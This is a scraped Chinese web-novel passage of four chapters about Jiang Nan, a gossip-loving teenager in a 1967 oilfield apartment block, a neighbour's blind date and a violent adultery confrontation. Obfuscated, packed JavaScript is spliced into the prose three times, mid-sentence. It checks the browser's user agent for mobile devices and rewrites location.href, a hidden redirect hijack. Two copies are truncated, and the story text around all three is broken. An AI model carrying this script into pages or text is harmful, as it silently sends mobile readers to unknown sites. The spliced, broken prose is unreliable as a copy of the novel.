《七零之筒子楼吃瓜看戏2.0》 1. 老姜家 一九六七年盛夏,一大早,天就热得跟下火一样。 筒子楼里没有鸡叫,但只要一家起了,其他家就别想消停。这不,也不知道谁家先起的,乒乒乓乓一顿造,知道的说是在做早饭,不知道的还以为楼里遭贼了呢。 “刘大妈,您起来也别这么大怨气啊,弄得别人都没法睡觉了。”东头第二户的林兵探出头,打着呵欠,不满地对西边喊,“这声儿大的,隔着楼道都听到了。” “睡睡睡,都六点了还睡,不上班啊。”始作俑者刘老太不客气地回嘴,“不是我说你啊兵子,你也二十好几的人了,媳妇都找不到,你也睡得着觉,真是心大。” 林兵斜倚着门框,满脸的不以为意:“瞧您说的,咱可是光荣的石油工人,想找啥样的找不到。” “正是呢。”同样开门做饭的方阿婆柔声道,“小兵啊,咱可是石油工人,可得好好挑,别被人骗了。我跟你说,附近乡下那些大姑娘小寡妇的,一门心思想嫁到咱们油田呢,你可得擦亮眼睛,别着了道。” 林兵笑容灿烂,吹个口哨,声音异常洪亮,“方阿婆,我今儿就要去相亲呢,肯定好好看。” “啥?相亲?”刘老太声音尖的能戳死苍蝇,“谁这么没数儿,给你介绍?别是有啥大病吧?” “切,刘大妈,您就不能盼着我点儿好?这次介绍的可是正式职工,也是咱们油田的。”林兵晃着腿儿,脸上别提多得意了。 “正式工人啊”方阿婆脸色僵了僵,眼神不经意地撇向自家门的方向,“那感情好,啥时候相亲啊?让你巧莲姐给你参谋参谋。” 林兵嘿嘿笑着挠头:“不用不用,巧莲姐还得上班呢,我今儿请假了,就旁边公园,咱地头熟,不用参谋。” 刘老太撇撇嘴,呸一声,低声嘀咕了一句“不要脸”,继续乒乒乓乓,摔摔打打。 “大兵啊,说说,啥情况?”最西户的姜满城顶着鸡窝头,白色老头衫明显是刚套上,趿拉着大拖鞋,猛地拉开门蹿出来,那速度,刺啦带起一阵风。在这样的天气里,愣是让楼道凉快了那么一下下。 “城子,真是哪哪儿都有你啊。怎么,今儿起晚了,不做早饭,你家那位不得揍你?”刘老太最看不惯隔壁的姜满城,不耐烦地撇撇嘴。一个小白脸,还是农村出来的,没素质,就知道吃软饭。 “哎呦,刘大妈,您怎么能污蔑我家金花呢。我家金花对我多好的,啥时候揍过我?不带您这样冤枉人的。”姜满城拉拉衣角,脸上带着几分委屈,随后状似不在意地摆摆手,“知道您不想早起做饭,我就不跟您掰扯了,谁让咱大度呢。我姜满城,就是这么优秀,优秀得大爷大妈都嫉妒啊。” 说完也不管差点把隔夜饭吐出来的刘老太,探着头对东边喊,“大兵,说说,啥情况?女方啥条件啊,多大了?不是我说你啊,大兵,你可够能瞒的啊,相亲这么大的事儿,今天才透出来......” 不喊不行啊,姜满城家在最西户,离东户第二个门的林兵家,中间隔着三户呢。 筒子楼的清晨,锅碗瓢盆混杂着吵吵嚷嚷的人声,再热闹不过。 “爸,啥情况?大兵哥又要相亲?”姜楠哗啦一声推开厕所的门,见到姜满城一脸坏笑的进来,立刻挽住胳膊,忍不住开口询问,耳朵都竖起来了。 “哎哎,洗手了没?”虽然是自个儿闺女,该嫌弃还是得嫌弃,见闺女点点头,姜满城这才再次开口,“说是十一点,在隔壁的公园水榭。你拿了毕业证就过去,应该赶得上这热闹。哎,你老爸我还得上班,看不着了。” “没事,我看完给你说。”姜楠小手一挥,十分豪迈。 姜满城幽幽开口:“不过也难说,这大兵能不能去相亲,还两说呢。”说着意有所指地瞥向了隔壁方阿婆家。 姜楠哦一声,十分上道地跟老父亲低声嘀咕:“那方阿婆家又要搞破坏啊?” 姜满城阴阳怪气:“那指定啊,林兵可是方家的血库,咋能去相亲呢。” 陈金花虎着一张脸,对大清早就八卦的爷俩十分无语:“小楠你赶紧的,今天拿了高中毕业证,去附近的厂子里转转,万一有招工的呢。虽然你是独生子女,不用下乡,但毕业了不能没工作吧......” 眼看将近一米七五,虎背熊腰的老妈又要开始唠叨,姜楠求救地望向姜满城。嗯,姜满城虽然一米八,但身姿窈窕,肤白貌美,在陈金花面前,战斗力约等于零。 姜满城那可是十分有自知之明的,立刻耸耸肩,不忘站在媳妇儿身边敲边鼓:“就是,小楠啊,你妈说的对。热闹啥时候都能看,还是找工作要紧。” 看着一秒叛变的老父亲,姜楠鼓鼓肉脸蛋儿,决定识时务者为俊杰。 嗯,就是这么随心。 她软软的撒娇道:“妈,我最亲爱的妈妈,周围的厂子不是炼油厂,就是化工厂、塑料厂啥的,哪个不靠着油田?您在工会都没听说有招工的消息,我就是每天去转,也不能有啊。” 见陈金花又要发飙,姜楠拽着老妈的胳膊不住地摇晃:“妈,我去看大兵哥相亲,也是友爱邻里啊。您看大兵哥今年都二十六了还没成亲,林大叔是整晚整晚地睡不着觉啊。咱们邻里邻居的,我过去看着,也是以防有人截胡啊。” 姜楠越说越觉得有理:“妈,您是不知道。上次后面五号楼里的陶大哥相亲,那姑娘和媒婆还没到呢,就被楼上的孙大牛截胡了,你说缺德不缺德。刘奶奶她们年纪大了,肯定打不过那些截胡的啊,我过去也是伸张正义,为了大兵哥好,为了咱们四号楼好。” 姜满城暗暗给闺女竖了个大拇指,陈金花瞥见了,哼一声:“好了,看完热闹别忘了回来做饭。你说说你都十六了,也该学学做饭了......” “不用小楠,我做。”姜满城立马重申,脸都难得的严肃了,“金花,咱可说好了,小楠不说找个跟我一样优秀的,最起码得找个会干家务的。凭什么就得小楠做饭了?咱家都是我做饭,咱闺女也得找个会做饭的。” 陈金花一脸头疼样儿,揉揉额头:“好了,你就做饭去吧。真是哪哪都有你。” 她就一个闺女,怎么不想闺女好。可她这闺女吧,虽然长得比她好,脸蛋白嫩嫩,大眼睛扑闪扑闪的,是个会挑她爹优点长的。可偏偏个子随了她,一个大姑娘,一米七八,穿上鞋直逼一米八。你说留个长发,梳个辫子也行啊,偏偏喜欢剪短头发,这从背后远远一看,还以为是个壮汉呢。也不怪人家误会。就算是在东北,也找不到几个比她闺女还高的男人啊。 真真愁死个人,想安排相亲都找不到人。 早餐无非就煮个鸡蛋,熬个粥什么的,一家三口很快坐在一起吃了起来。姜满城边磕鸡蛋边说:“小楠,要不去你奶家住几天?村里这几天也没啥事儿,你过去散散心也好。” 说话的正是一家之主姜满城。男,三十四岁,白水市达县枣花公社下辖西河岸大队人,正正经经的农村人。凭借着初中毕业的文凭和机灵劲儿,在油田勘探时和专家们混了个脸熟,又凭着一张白里透红的小白脸,以及嘴甜会忽悠,娶到了专家的闺女陈金花。等招工时,更是幸运地成为了正式的石油工人,一跃成为了吃商品粮的城里人。 那专家的闺女陈金花是个能干的,家里也给力。她爹可是油田高级工程师,两个哥哥也都是大学毕业,正正经经的高技术人才。这年头,其他行业可能受影响,但石油行业基本没有啊,陈家一家都吃了有文化的福。偏偏陈金花学不进去,高中毕业考了两次也没考上大学,没办法,只能去油田工会做个办事员,干点儿什么人都能干的活。 自打和陈金花结婚,双职工的两人分到了六十八平的大房子,还是一层六户的‘高档筒子楼’。有房有老婆有孩子的姜满城,小白脸儿属性拉满。又是做饭,又是做家务的,还把前线工人的工作,换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236748|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了档案室的清闲岗位。满筒子楼里打听打听,谁不说一句姜满城吃软饭。 那可是石油工人,石油工人啊。重工业,一个月工资少说也有四十。再加上各种补贴,什么高温补贴,采油奖金,节假日福利等等,一个月妥妥超过五十块! 他姜满城,把五十块的工作,硬生生换成了没什么油水儿的档案室管理员,一个月顶天三十六块钱,真是脑子被驴踢了。 别说筒子楼里的人看不懂,就是姜满城的老娘杜老太和几个哥哥姐姐,也看不懂啊。但是没办法,姜满城从小就有主意,饶是杜老太拿着扫帚追了小儿子五里地,也没让姜满城改主意。 此时,被驴踢了的姜满城,他闺女姜楠,点点头,开心地说:“好啊好啊,今儿看完热闹,明儿就去奶奶家。小槐、小桐肯定带我去捉知了猴,还能上山采蘑菇呢......” “行了,吃饭。找不到工作,哪儿也不许去。”陈金花敲敲桌子,满脸无奈。 姜满城赶紧将剥好的鸡蛋放到陈金花碗里,讨好地说:“金花,鸡蛋我都给你剥好了,快吃。儿孙自有儿孙福,你不用操这么多心。咱闺女这长相,这身条,这学历,找什么工作找不着?你别净听刘大妈叨叨,她啊,这是嫉妒,想给咱家找不痛快呢。” 要说刘老太为啥看不惯姜满城呢,那可就是纯纯的嫉妒了。你说凭啥同样是双职工,姜满城就能分六十八平的大房子,还是西户,她家就得住不到五十平的中间户?老人家恼羞成怒,憋着劲儿给姜家找不痛快呢。 “行了,大早上的,吃饭。谁再说话我敲谁。”陈金花脸有些红,显然很吃这一套,一筷子夹起稀饭里的鸡蛋,低头咬掉大半个。 姜楠努努嘴儿,不满地哼一声。她爸啊,最会讨好妈了,连她都比不上。哎,她深深叹口气,顺便吹吹热乎乎的稀饭,不嫌烫地喝一口,又吃一大口玉米面窝头,香! 甭看是玉米面的,里面可是掺了一大半白面呢,比别人家的窝头软乎多了。姜楠一口气能吃三个。她一米七八的个头,可不是凭空长出来的,那可都是她实打实,一口口吃出来的。 一家三口,两个都是工人,不仅能吃饱,还能吃得很好。再加上老丈人和两个大舅子补贴,那伙食,在这年月里能天天早上吃鸡蛋,你敢信? 这可是一九六七! 将美味的鸡蛋留在最后,姜楠两口吃完,幸福地一抹嘴,喜滋滋:“爸,咱中午吃肉呗,我可是正式高中毕业了,咱庆祝庆祝,不为过吧?” “不过,不过。”姜满城眼睛一亮,跟闺女一对眼儿,嘿,不愧是他姜满城的闺女,这吃肉的理由,多高端,多正式,多不容置疑啊。 他清清嗓子,在陈金花发声前,低声道:“金花,你想想小楠多可怜。现在又不能考大学,小楠明明学习那么好,只能读到高中,是不是得安慰安慰?咱两个哥哥可都来看过小楠了,都说小楠可惜了的。你这做娘的,也得心疼心疼闺女不是?中午就吃肉,我来做,不用你操心。” 姜满城口里的两个哥哥,是陈金花的大哥陈金海和陈金洋,正正经经的高材生。要说陈家一家文化人,咋取这么俗气的名字呢?说起来都是泪啊。 陈家这一辈儿是金字辈,你说啥好名字,用金字开头,是不是都有点土? 更何况陈金花原本不叫陈金花,是叫陈金华的。据说丈母娘怀她的时候,特别想吃金华火腿,老丈人托熟人寻摸了好久才吃上。起名字时一琢磨,好嘛,可不就应了个金华。谁知道金华七岁上学录户口时,登记户口的小办事员一看是个女娃,啥也没问就写了个金花。伤心的陈金花同志,愣是少吃了一个窝头。 嗯,改名之恨,就值一个窝头。 闲言少叙,只说陈金花虽然学习不好,对两个哥哥可是十分崇拜的,听到这里也不说话了。 是啊,她闺女多可怜。这要是能考大学,她闺女妥妥的大学生啊。 2. 相亲事故 一家三口很快吃完早餐,该上班的上班,该去学校的去学校。 刚开门,姜楠余光瞥见一个身姿丰腴的女人,摇摇摆摆地滑向东户林兵家。她撇撇嘴,若无其事地下楼。这筒子楼里,真是每天都有热闹瞧。 姜楠就读的油田二高,是朝阳油田办的,专为油田子弟学习的高中。当然了,也面向地方招生,只是地方上的人家普遍没有油田职工重视教育,姜楠的同学里,百分之八十都是油田职工子弟。 当然,这也不怪地方上的人家,谁让油田工人,普遍比地方工人条件好呢。 都毕业了,学校当然不会为难人,高中毕业证拿的十分顺利。班主任慎重地将毕业证交到每个人手上,姜楠双手接过,将红色的硬壳子毕业证放到挎包里,起身离开。 还没走到教室门口,就被后座儿的孙方叫住,他说:“小楠,你毕业后有什么打算?现在伟人号召知青下乡,你有考虑过吗?我们东河岸大队,离你老家不远的,离油田也近得很。我觉得咱们知识青年,就该响应伟人的号召,积极下乡跟农民学习,全心全意为人民服务,做一个对国家对社会有用的人。你放心,你要是响应号召,可以考虑我们大队。我姑父是大队长,能给你照顾的。你......” “我是独生子女,不用下乡。”姜楠语气十分冷淡,这个孙方总是话里话外试探她,还多次暗示女同志就该艰苦朴素。就很无语,爹娘都没让她吃苦,你一个同学怎么好意思的。 孙方却觉得很好意思,他自打上高中就瞄上了姜楠。虽然长得高大了些,但家里条件好啊。这年头油田子弟很多都穿着工服改的衣服,姜楠愣是穿着百货商店的成衣。如今大夏天,一身蓝白格子的布拉吉,多奢侈啊。这钱要是省下来给他,能吃好几顿肉呢。 “咱们作为知识青年,应该响应伟人的号召......” “噗。” 孙方的话还没说完,就被一声嗤笑打断。程改改站在两人身后,讥笑道:“孙方,把你的算盘收一收,算盘珠子都要蹦到我脸上了。就你那点小心思,以为谁看不出来呢?姜楠人家可是独生子女,政策都规定不用下乡的,你倒来撺掇人。怎么,你觉得自己比伟人还厉害,伟人定的政策不对?” “你!”孙方一改刚才的温文儒雅,急得脸都红了,这个罪名太大了,他指着程改改的手止不住地颤抖,“你少来这里诬赖人。我关心关心姜楠同学的前程,哪里错了?你不要上纲上线。倒是你,又不是独生子女,怎么,报名下乡了吗?需要我给你报个名吗?” “我的事,要你操哪门子的心。真是笑话,想学姜叔叔吃软饭,也不撒泡尿照照自己的德性。姜叔叔起码长得好啊,你呢,黑不溜秋的,天一黑都看不见的主儿,还想做小白脸,小黑脸你都做不成。”程改改哼一声,三两步上前,一把拉住姜楠的胳膊,拽着往前走,“走,不理他。林兵大哥今儿相亲,咱们看热闹去。” 姜楠:“???” 她还没出手呢,这就过去了? 姜楠挑挑眉,顺势跟着程改改下了楼。等人走远了,她小声问:“改改姐,你要下乡吗?” 程改改点点头,低头整理一下挎包,语气有些低落:“我又不是独生子女,如果没工作,当然得下乡啊。” “啊。”姜楠想开口安慰两句,又不知道说什么,只得转移话题道,“也不知道大兵哥今儿相亲什么情况,改改姐,你知道吗?” “知道。我跟你说。”程改改一改刚才的低落,抬起头,眼睛里放射着兴奋的光,“听说女方父母还是干部呢,双职工,女方也是油田职工,不知道为啥,同意跟大兵哥相亲。大兵哥虽说是石油工人,可就是钻井队干苦力的,还经常不着家,也不知道咋想的。” “是吗是吗......”姜楠深谙吃瓜精髓,听八卦很会捧哏。 两人一路聊到筒子楼隔壁公园,别看叫公园,实际上占地并不大,不到一亩地。只不过挖了个小池子,池子上修了六角水榭。平时大家喜欢在水榭上乘凉,要是相亲不方便去家里,也会选择在这个地方。 此时,水榭上已经坐了三个人。两人一眼就看到了林兵,一身橙色的石油工服,头发梳得一丝不苟,黝黑的面庞红通通的,眼睛时不时溜向对面的女同志,一看就很满意。 女同志也是橙色衣服,却不是上衣下裤的工服,而是连衣裙,不过一看就是用工服改的。油田一年发四季工服,节省些的人家,就指着四季工服改衣服穿呢。这女同志是个手巧的,长得也不差,坐在那里挺胸抬头,脸上多少带着些倨傲。 石油工人呢,工人里的老大哥,可不骄傲嘛。 【宿主,这个女人怀孕了。】 一道活泼的电子音响起,姜楠眼睛立马亮了:“哦豁,小统,你升级好了?” 【是的,宿主。前面那个穿橙色衣服的女人怀孕了,急着找接盘侠呢。】 “你看看,不愧是吃瓜系统,一上线就有瓜。”姜楠跟系统叨叨,“你再扫描扫描,奸夫是谁?这大兵哥怎么说都是邻居,不能吃这个哑巴亏啊。” 她这个系统,只要是她亲眼见过的人,都能接通这个人的脑电波,看到他心底最深的秘密。一次接通,终身有效哦。 【好的,宿主。不过宿主,我是正义联盟吃瓜系统,不仅吃瓜,还鼓励做好事哦。】 姜楠面不改色,拉着程改改,加入一边儿看热闹看得起劲的刘老太一伙儿:“刘奶奶,咋样,这姐姐叫啥名?两人看对眼儿了没?有截胡的没?” 刘老太瞪了眼下学不干活的大孙女,还想相亲呢,如今不勤快点,怎么嫁得出去呦,还不是得下乡。刘老太心里一堆戏,自然被一旁一边择菜,一边看热闹的曹老太抢了话:“这女的叫孙玲玲,二十二了,父母都是油田的,她妈还是食堂里打下手的呢,日子过得不差。林兵那小子满意着呢,你看,笑得跟个二傻子一样。” “小楠,我跟你说,还真有想截胡的,这不是被我们赶跑了嘛。我们这也是替大兵着急,虽说大兵不着调,可林老弟是个好的,这家里没个女人到底不是事儿啊。” “就是,不过有些人可不这么想。”刘老太意有所指地瞥了眼一旁打扫卫生的孙巧莲,阴阳道,“这女人啊,还是得要点儿脸。” 姜楠顺着视线望过去,不意外看见了方家守寡的儿媳孙巧莲。她挑挑眉,这是早上没阻止成功,跟过来了啊。 “那孙玲玲条件这么好,咋相中大兵哥了?”姜楠不再去管孙巧莲,打断大妈们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大爷大妈们一听,眼睛放着比探照灯还亮的光。纷纷拉住陌生老太太,你问一句我问一句的,比刚才可热闹多了。等将事情来龙去脉问得一清二楚,大家面面相觑,越想越觉得还真有可能是这么回事。虽然林兵平时看着不着调,但怎么说也是他们邻居,一个楼住着,可不能吃这个哑巴亏。 刘老太、方阿婆二人一马当先,带着一群老头儿老太太,气势汹汹地杀向水榭。 那告密的老太太起身拍拍带补丁的衣角,冷笑两声,不带走一片云彩,却带走两大把白菜帮子。孙巧莲若有似无地笑了一下,没事人一样,继续低头扫地。 【宿主,那个老太太是那个放映员娶的寡妇的前婆婆。】 “哎呦我去,这是什么仇什么怨啊,不都说敌人的敌人就是朋友嘛,这老太太咋想的。”姜楠一边感慨,一边不忘拉着小伙伴程改改往水榭赶,看老头老太们智斗孙玲玲。 “还说没怀孕,没怀孕你老是摸肚子干啥?我刚才可数了,就相亲不到一个小时,你摸了二十八次肚子。”曹老太面不改色地撒谎。 “就是,我也看见了。女同志不可以这样的。”这是方阿婆帮腔。 “我没有,你们少诬赖人......” 孙玲玲脸上发白,不过很快镇定下来,只是话才说到一半,被一声掺杂着兴奋和激动的高亢男声打断。 “招待所里抓奸了,大家快去看啊,抓奸了!” 3. 受伤 哗啦啦,水榭里的人一秒没,就连被说怀孕的孙玲玲和介绍相亲的媒婆,都立时没了人影儿,就离谱 跑在最前头的,就是身怀系统,永远站在吃瓜第一线的姜楠。她身高腿长,一步比别人两步都长,跑起来不带喘的,吃瓜别提多方便了。 后面一群人跑得呼哧带喘,就这,也紧紧跟在姜楠身后,半步也没落下。这年头,娱乐少啊,看热闹就是最好的娱乐了。没见半道上,不明真相的大爷大妈们,一见这么多人狂奔,想也没想就加入嘛。 这啥时候,人都喜欢从众。姜楠前世,都2025了,还有那爱凑热闹的人,一看排队排得老长,啥也不问,二话不说先排上。不过这可能也是排队抢物资的后遗症,跟这个有点关系,但不大。 咱就是说国人爱凑热闹这个劲头,那是不管在哪儿,不管在啥时候,都不会落下。 就说此时,姜楠边跑边回头看身后紧追不舍的众人,心里那个感慨啊。她也不大哥笑话二哥了,赶紧加快脚步跑吧。这爱看热闹,她也有一份啊,而且她看热闹还有好处呢,姜楠有系统啊。 有系统的姜楠终于跑到了招待所,好家伙,里三层外三层的,围了个水泄不通。大家还想往前挤,却被稳稳站在前面的大爷大妈呵斥。 “挤什么,先来后到啊,我们还想看呢。” “那是我家邻居,让一让,我进去劝劝。”林兵哪里还记得刚才相亲的事,一门心思想看热闹。凭借身高和男人的力气,拉着他巧莲姐,一马当先挤了进去。 姜楠虽然长得高,但力气没林兵大,眼看挤不进去,她也不费那个劲了,利用身高优势,踮起脚尖,却只看到招待所大堂里,三个人扭成一团,噼里啪啦,火花四溅。人群随着三人的动作不断前后左右地移动,要多滑稽有多滑稽。 刘老太等人看不见,急得直戳一旁的陌生人:“谁和谁偷情啊?是男人的老婆来抓奸?” “不是。”被拽住的大妈也不恼,见竟然还有人不知情,叭叭给人一顿说,“是男人来捉奸!他老婆偷汉子,他提着板砖过来,说要杀了这对奸夫□□!哎呀,老吓人了。” “哎呀妈呀,你们不知道啊?方阿婆你不是住一号院四号楼?里面偷情的就是你们楼里的范桃花啊。她老公吴大锤来捉奸。”旁边的一位大婶,显然认出了方阿婆几人,很快加入了群聊。 “范桃花?!”刘老太化身尖叫鸡,“妈呀,果然,这就不是个安生过日子的。整日里勾三搭四,我说什么来着,早晚得出事......” “天哪,这不丢咱们楼的人嘛。” “那可不是,大家让一让,我们都是一个楼的,到前面去劝劝,大家让一让。” “别想插队啊,我们还是一个院儿的呢,也没多靠前啊,你们这些后来的别耍那有的没的。先来后到,啥时候都不能插队。” “就是就是。” 这热闹看的,无辜群众先吵起来了,还是后排看不到实况的无辜群众,就很魔性了。 “大锤啊,你悠着点儿,别闹出人命。出事了你还得坐牢,不值当。”有那同情吴大锤的男同志,扯着嗓子喊。 【宿主,扫描到吴大锤情绪过于激动,有可能出人命。主系统发布任务,如果能够阻止命案发生,将给予100吃瓜币的奖励。】 姜楠眨眨眼,又眨眨眼。你看看,她就说她是天选之女,看热闹有好处吧!100吃瓜币,可不少了!要知道,一吃瓜币可以兑换一个鸡蛋,100吃瓜币,全家能吃一个月呢。 刹那间,姜楠浑身充满干劲儿。她凭借一七八的身高,以及每天吃鸡蛋的蛮劲儿,唰唰唰冲到了吃瓜最前线,仿佛刚才踮着脚尖的不是她。 只见地上躺着一男一女,两人满脸都是血,橙红色的工服染得更红了。范桃花上衣扣子都没扣好,一只手捂着流血的额头,一只手恶狠狠地指着吴大锤:“就准你TM出车跟寡妇鬼混,老娘就不能出来找人?!我告诉你吴大锤,老娘要跟你离婚。你个有娘生没娘养的,日后得脏病不得好死的狗玩意儿。你爹更不是个东西,敢偷看老娘洗澡,老娘早就不想跟你过了,一窝不是东西的恶心玩意儿......” 吴大锤一米八的壮汉,硬是被气得双眼赤红,浑身颤抖。听到女人的话,举起手里的板砖,恶狠狠砸向范桃花:“老子杀了你这个□□!” “大锤啊,可不能闹出人命。”老吴头被说中了龌龊事,本来还缩着不敢冒头,此时见了,忙上前要拉儿子的手。他还得靠儿子养呢,可不能让儿子进去。 谁知他还没动,就被后面斜刺里冲出来的女人撞了个趔趄,人还没站稳,儿子吴大锤手里的板砖就被人夺了去。 这女人不是别人,正是一心要赚吃瓜币的一七八姜楠。姜楠也不是蛮干,她娘陈金花因从小体格子壮,被城里的一个武师傅看中,教了几年拳脚功夫,身手很是不错。姜楠作为陈金花闺女,也是三岁起就习武,对外只称强身健体,倒是也没人揪着不放。 十几年下来,姜楠身手还是不错的,她夺了板砖,也不恋战,迅速消失在人群里,深藏功与名。 “怎么样,吃瓜币什么时候到账?” 【宿主,扫描到危险并没有完全解除,吃瓜币还不能到账哦。】 “我去,还有危险啊。” “让一让,让一让,哪个不要脸的女人,敢勾引我家男人,看我不挠她满脸花。” 本来还拥挤的人群,因为这句话,哗啦啦让出一条道儿。一个个双眼放着光,目送矮胖的中年女人进到吃瓜最中心的位置。 “赵大头,你装什么晕?老娘还不知道你,没种的狗男人。你婆娘来了,看你还怎么装的下去,你个倒插门的怂货!”见吴大锤没了武器,范桃花继续无差别爆料。她今天反正是丢人丢到家了,谁也别想好,“老娘能勾引他?!个比黄花菜还小的男人!要不是舍得给老娘花钱,老娘都不稀得理他!” “好啊,你个赵大头!我就说咋当了工人之后,老是不回家,你这是想甩了我啊。我告诉你,没门!当初你们赵家可是说好的,将你卖到我们老胡家,生死不论。咋的,想反悔?”胖女人叉着腰,一脚踢向男人屁股,“少给老娘装死!说,她说的是不是真的?你给她花钱了?” 赵大头眼看装不下去,只得‘幽幽’醒转,一副虚弱相:“没有,我的工资都是你收着的,我怎么可能给她花钱。是她勾引我的,我来这里是为了跟她说清楚,对,跟她说清楚。我怎么可能跟她偷情呢,她那么丑,我才看不上呢。我最喜欢的就是梨花你了,你才是我的真爱。我一见你,就什么人都看不见,满心满眼都是你,恨不得将全天下的好东西都给你......” 被称作梨花的女人脸越来越红,眼睛里早没了刚来时的凶恶,此时含羞带怯,最后竟扭着身子,伸手捶了一下赵大头的胸口:“死鬼,我就知道你最爱我。这女人豆芽菜似的,你怎么可能看得上?也只有我这样丰满的美人儿,才对你胃口。说,你什么时候爱上我的?是不是早就相中了我,撒泼打滚地让你父母卖了你?” 众人看着胖女人矮冬瓜似的身材,又看看范桃花柳条般的身形,纷纷晃晃脑袋,不知道剧情怎么就从刺激的捉奸,变成了卿卿我我令人作呕的中年爱情戏。 姜楠直呼好家伙,那头儿的范桃花如何肯罢休,她冷笑一声,讽刺道:“蠢妇!你家没镜子,难道不能自己撒泡尿照照?就你这长相,还美人?说是女人,都给我们妇女同志丢脸。真是又无知又愚蠢。赵大头一个吃软饭的丑男人,你还当个宝。我告诉你,赵大头的情妇可不止我一个,你们村的张寡妇,隔壁村的佟寡妇,他可没少偷人!” “你闭嘴。”见女人眼神渐渐清明,赵大头急忙呵斥,“你是什么东西,敢说我?孙大牛、郑老蔫儿、钱大胆......还要我一一列举吗?管好你的嘴!” 范桃花胸口不住地起伏,显然被气得不轻。被抢了板砖的吴大锤本来还被人压着,听到这里如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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中间为首的瘦削男看到姜楠,倒是难得露出了笑容,只是很快就收敛了起来,他说:“小楠,你说说,怎么回事?” 姜楠自从会走,总是冲在吃瓜的最前沿。加上同样热衷吃瓜的老父亲姜满城,那瓜吃得,跟油田派出所的一众民警都成了熟人。这不,警官谁也不问,就认准了小丫头姜楠。 姜楠抬起头,虚弱地笑笑:“蓝大叔,我今儿可做好人好事儿了。我跟你说......” 不愧是专业吃瓜十六年,姜楠也不总结,将听到的几方人员对话挨个儿学了遍,一字不添,一字不减,惟妙惟肖,很快就说清楚了来龙去脉。 蓝青山点点头,示意一旁的年轻警官抓紧记录,又扬声对跟着的另一名警官道:“你送姜楠去医院,她也算是替咱们辖区阻止了恶性案件的发生,咱们派出所该表示表示。” “不用,不用。”姜满城满头大汗地挤进来,累得大喘气,见自个儿闺女好好的坐在地上,悬着的心终于放下,弯下腰又狠狠呼吸再呼吸,才来到姜楠面前,伸出食指戳了戳闺女的额头,戳得姜楠身子直往后仰,“你个不省心的丫头。什么热闹都敢往前面凑,你知不知道多危险?老爹要被你吓死了。大家都说你被人捅了,你知道不知道?等会儿你娘来了,要是揍你,我可不给你拦着。” “爹,我心里有数儿,不会有危险的。再说,我这是做好事儿,见义勇为,是不是,蓝大叔?”姜楠眨巴着大眼睛,为自己争取荣誉。这年头,荣誉比天大,有了见义勇为的称号,以后找工作也容易不是。 “是,见义勇为。等事情处理完了,派出所会给油田送表扬信的。”这一对儿油滑的父女,蓝青山门儿清,一听就知道小丫头的盘算。不过确实是丫头的功劳,蓝青山也不吝啬,“虽然是见义勇为,以后可不能什么事儿都虎恰恰往前冲啊。遇见坏人,还是要第一时间找警察,知道吗?” “知道,谢谢蓝大叔。”姜楠喜出望外,小脸儿上都是喜悦。见义勇为的称号下来了,100吃瓜币也到了账,真是双喜临门啊。 4. 吃瓜系统 大热天,工会忙着给大家伙添置解暑福利,陈金花听说姜楠受伤的时候,姜楠已经在医院处理好了伤口。 她的脚确实只是皮外伤,踢水果刀的时候被剐蹭到了而已,医生拿紫药水消了毒,连纱布都没包。 “哎呦,包大夫,行不行啊。要不还是包个纱布,咱稳妥点儿,不能艺高人胆大啊,这可是我亲闺女,不用替我们省钱,真的。”姜满城心疼地直嚷嚷,一旁收拾医药箱的包大夫一脸无语。 这一家子真是,男人小白脸碎嘴子偏还阴险会算计,女人凶巴巴头脑简单但却会拳脚,闺女是集父母之所长,不仅鬼主意多还有武力值,真真儿文武双全,绝配啊。 要问为啥包大夫这么清楚呢,那不是姜满城一家太出名儿了嘛,满他们第十作业处打听去,谁不晓得啊。要知道,第十作业处连职工带家属,上万人呐,这名儿出的,也是没谁了。 朝阳油田是个庞然大物。 不说总部那些研究院、党办、总厂办之类的文职,就说油田前线。光采油厂就十个,还分了十个作业处,作业处下辖钻井大队、修井大队、特车大队之类的,每个大队下面还要分若干个小队,主打一个人多。 而朝阳油田只有一半在白水市,另一半在隔壁两个市呢。因此朝阳油田总人数,那是比白水市人还多的。 为了油田安全生产,还有专门的油田派出所。姜楠上一世,油田还有自己的电视台,就问你夸不夸张。其他厂子的安全,那都是保卫科管的,就油田是派出所,就是这么霸气。 霸气的油田职工姜满城,对上老婆的眼神儿,立马不嗷嗷了,改口指责闺女:“你说说你怎么这么不知道轻重?有刀子呢你就敢往前冲,就显着你了是吧。练了两下拳脚不知道姓什么了,今天回家少吃肉,多喝水,饿两顿清醒清醒。” “城子哥,小楠这也是见义勇为,我们派出所会提出表扬的。”跟着的油田派出所小警察,很识相地接过医生递过来的单子,“小楠也是为咱们派出所做出了贡献的,今儿这医药费我们出了,你们就别抢了。” “这怎么好意思。”根本没想抢的姜满城满意开口,“我闺女就是实诚,心眼好,见不得人家受罪。我跟你说,这都是我这个老父亲从小教育的结果。我这个人呐,你们蓝副所长是知道的,最是嫉恶如仇。你就说前两个月......” “呵呵,呵呵呵。”一路上受了不少荼毒的小警察立马揣着单子,撒开腿跑去缴费了。他还是见识少,这男人要是嘴碎子起来,比女人还能叭叭。这城子哥都说了一路了,咋不知道口渴呢? 